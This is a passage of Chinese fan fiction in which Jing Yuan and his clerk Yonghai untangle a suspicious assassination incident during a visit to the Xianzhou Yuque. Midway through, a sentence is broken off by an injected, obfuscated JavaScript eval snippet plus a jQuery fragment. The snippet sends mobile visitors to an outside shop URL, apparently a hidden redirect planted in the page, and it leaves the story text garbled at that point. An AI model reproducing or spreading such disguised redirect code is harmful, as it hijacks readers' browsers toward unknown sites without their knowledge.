来自罗浮神策府的书记官永海正焦虑地准备在自家将军下榻的房间转第32圈时,又一次回想起自己这倒霉催的一天。

    永海不会怀疑自己的智商,毕竟作为当年在神策府万里挑一的报考比例下,经过笔试面试两轮测试击败无数高手,最终被精挑细选进入神策府的精英,他还能顺利干翻一干同僚,抢到这有且唯一随侍将军出行访问的任务,绝对证明了自己的专业素质已经立于罗浮公务员的顶端。

    按常理来说,这原本应该只是一个正常的访谈任务,毕竟过往也不是没有其他仙舟将军到访罗浮,只是这一次换成了罗浮出访其他仙舟,但毕竟只是联盟内部的访问,一切只需要依照章程履行就行了……这该死的章程!

    他狠狠咬了咬牙,无论怎么深呼吸都难以让自己的情绪平复下来。

    回想这一天的行程,先是被天舶司强行拦在玉界门外,然后莫名其妙被玉阙的司舵压着听了一整节安全驾驶规章讲座,还逼着所有来访人员签了一张所谓的安全驾驶承诺书。

    很好,他深吸一口气,考虑到他们自己都被本仙舟的天舶司驾驶员给吓得不轻,玉阙天舶司的担忧确实是合乎常理的。

    然后是所有的罗浮云骑都被强行拦在了洞天之外,只有文职人员可以获准进入玉阙。

    这当然完全符合联盟规定,尽管将军出访一般默认可以携带一小支近卫队保护,但这毕竟只是诸位六御之间默许的潜规则,并没有实际落实到章程上,而且考虑到玉阙大多都是些……嗯,总之不通武艺的卜者,想来也不会半途召开个演武典仪。

    ——然后他们所有人就因为在被地衡司领着访问交流的时候,刚好路过前方一间发生了步离人刺杀案的茶楼,所有人都被当做嫌疑人压在云骑军那做了整整一个时辰的口供,这还是看在同僚的分上给他们走了快捷通道。

    没错,一切都严格遵守了玉阙与联盟的章程要求,作为仙舟公务员界的强者,他竟然挑不出一点毛病!

    哪怕他代表罗浮向玉阙的将军府提出要严正交涉,对面也只回函给了自己一句轻飘飘的“先排队吧”。

    而在他前面那一长串请求拜谒将军的队列中,有着包括但不限于号称自己通过铜镜看到宇宙毁灭的发了癫的卜者,带了一人高文件宣布自己要和机巧鸟缔结合法关系的持明,还有一个高呼着“药王慈怀”冲进来的天人。

    ——当然,包括前面的卜者、持明和永海本人在内都齐刷刷地给他把路让开了,他们这回就不介意有人插队了,毕竟闲杂人等的存在非常影响云骑军射箭的准头。

    而永海自己毕竟是一个文职。

    但最后,理所应当的,永海还是一无所获。

    听到房门打开的动静,永海猛地扭过头去,哪怕心中的期待已经不剩多少,哪怕早已经不知道是多少次他遗憾的发现进来的只是客房保洁,但他也不会放弃的——这回真的是将军!

    看见将军那威严的身影,永海心头骤然一轻,只忽然思绪为之一清,理智重新回到了脑子里。

    在迎上去时,他抽了抽鼻子,敏锐地闻到了一缕药味。

    “将军,您受伤了?”

    景元微微摇了摇头,制止了忠诚的书记官想要直接扑过来的动作,他有些疲惫地揉了揉太阳穴:“已经去丹鼎司看过来,没什么大碍,只是有刺客要刺杀玉阙太卜,我刚好在现场,受了波及。”

    永海一愣:“难不成是那起步离人刺杀案?”

    “这消息传得这么快?”景元有些颇有些疑惑,“我还以为玉阙神策府已经封锁消息了,玉阙就算武备再怎么松弛,想来也不至于军纪差到这种地步。”

    永海闻言苦笑一声:“就算原本不知道发生了什么,如今也都弄得清清楚楚了,毕竟我们这一批人可全都被当可疑人员拉去审讯了,卑职可是刚刚从云骑军的大牢里头出来!”

    景元神色一肃,凝神看向永海:“你从头说来。”

    到底是罗浮顶级的文书工作者,永海组织了一下语言,很快就从头开始捋清楚了头绪。

    “这次跟随将军进入玉阙的大多是领航的狐人飞行士,其余的云骑军将士均被阻拦在了洞天之外,除此之外就是我等文职官员。”

    “这倒很正常,”景元轻轻敲着桌面,“按照以往的联盟的惯例,除非向元帅求得特许,否则即便是将军,登临他舟时也最多只能带一小队护卫而已,就是玉阙连这点护卫都不让人带进去,倒也确实稀罕,不过也不是不能接受。”

    永海沉闷地点了点头:“卑职明白,所以我将他们安排在了玉阙周边星系外围,我本想接着去寻将军您,但太卜司的人告诉我您正在观览十方光映法界,闲杂人等未获许可禁止入内,只得罢休。”

    景元和他对了对时间,确认了此话的真实性。

    “当时玉阙的云太卜的确同我一道在十方光映法界那处。”

    “随后地衡司的工作人员便提出要带我们参观玉阙几项重要景点,这的确也是外来使团的到访流程。您知道的,如果玉阙来到罗浮我们也会这么安排,更何况这本就是难得近距离同玉阙接触的渠道,所以我们也没拒绝他们的邀请。”

    永海继续回忆道:“我们的行程应该是早就安排好了的,各处都有地衡司的接待,一路走来都很顺利,直到到了遍智格物院附近,突然前方戒严,然后整条道路封锁,所有人都被云骑军扣押。我们这几个侍从官还好,再云骑军那只是核实了身份,出示了身份证明就被放了出来,但问题在于跟过来的天舶司的那些飞行士,他们多是狐人,便全被以鉴别身份的名义扣下了,哪怕我们拿出了罗浮的身份证明文件也没用,接待我们的云骑军表现的非常强硬,宣称他们接到了将军的命令。”

    景元抬手制止了永海继续说下去,他微微阖上眸,在脑海中快速梳理这一日以来所遇到的诸般事由。

    那位太卜大人先是以待客之名拉自己到了那座毗邻着遍智格物院

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974564|214717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的茶楼,然后是那一场亦真亦假的牌局,牌局结束,轮到假扮成狐人的步离刺客上场,恰好在那时候,罗浮的来客也被领到了遍智格物院附近,也不知是巧还是不巧,刚刚好被算进了搜查的范围。

    如果一件事全由巧合构成,那便绝非巧合。

    景元眼睛微阖,细细究来,这件事中并没有多少计谋含量,无巧不成书,但在据说可以卜算万物的十方光映法界面前,在那位“无物不可算”的云太卜手下,只怕这个“巧”是最微不足道的东西。

    但问题的关键在于——为什么?

    罗浮同玉阙素来无冤无仇,甚至罗浮此行来访除了共商步离人于方壶方向异动集结之事,还有一个关键目的:自饮月之乱后,罗浮太卜司人才凋零,如果可以的话,他们希望能够直接邀请一批已被玉阙所培养成熟的卜者加入罗浮太卜司,最好能挖到一个愿意跳槽的卜官,这就免去了他们还要再次选拔的功夫,但如果是遍智格物院的毕业生,他们也非常欢迎。

    无论如何,景元都不得不承认,就如之前云衡所说的那样,罗浮太卜司的的确确是拿不出什么像样的人物了。

    所以从哪个角度看,玉阙都不应该以这样简单粗暴的方式直接撕破脸,除非——

    除非对于这位云太卜而言,有比与罗浮维护关系更为重要的事情!

    而且这件事绝对是不可言说的,甚至同为六御的他都没有得到任何消息。换句话说,他们所要做的就是要打自己一个措手不及。

    景元慢慢敲着的手骤然一停,他发现自己遗漏一件非常非常紧要的事情,不,不只是他,甚至整个联盟都有意无意地被玉阙表面上的平和所蒙蔽了。

    比起如曜青这般以武力横绝寰宇,又或是罗浮这般因为某些渊源,有一二绝顶高手坐镇的仙舟,在联盟几大仙舟之中,玉阙在武力上的需求是最小的。

    如果说别的仙舟面对危难多是迎难而上,将军或是坐镇帐中运筹帷幄,又或者天将临凡,一力降十会的话,那么玉阙则因为对卜算的追求,对智识——即遍智天君的信仰,走向了另一个极端。

    比起罗浮已经衰败的大衍穷观阵,玉阙的十方光映法界反而更为接近“穷察幽微,观变知来”的本质。

    正所谓视兆问玄,极数知来,在这煌煌神器的光芒下,联盟最好的卜者尽皆聚集于此,他们会用自己的才识为整个联盟占卜吉凶,划定航路。

    玉阙的卜者们作为联盟凝视星海的眼睛,用一场又一场的未卜先知向整个寰宇证明仙舟航向的正确性。也因此,他们不会给自己遭逢危难的机会。因为在敌人的阴谋开始谋划之前,卜者们早已经将比敌方更为详尽的方案呈上了太卜的桌案,就连玉阙的鸣珂卫,也多是侧重于布防策应诸事,而绝少正面接敌。

    这是一套稳定的体系,唯一的问题在于,在这整套体系从始至终,似乎都缺少了一个关键人物——

    那位玉阙的将军,他的位置又在何处呢?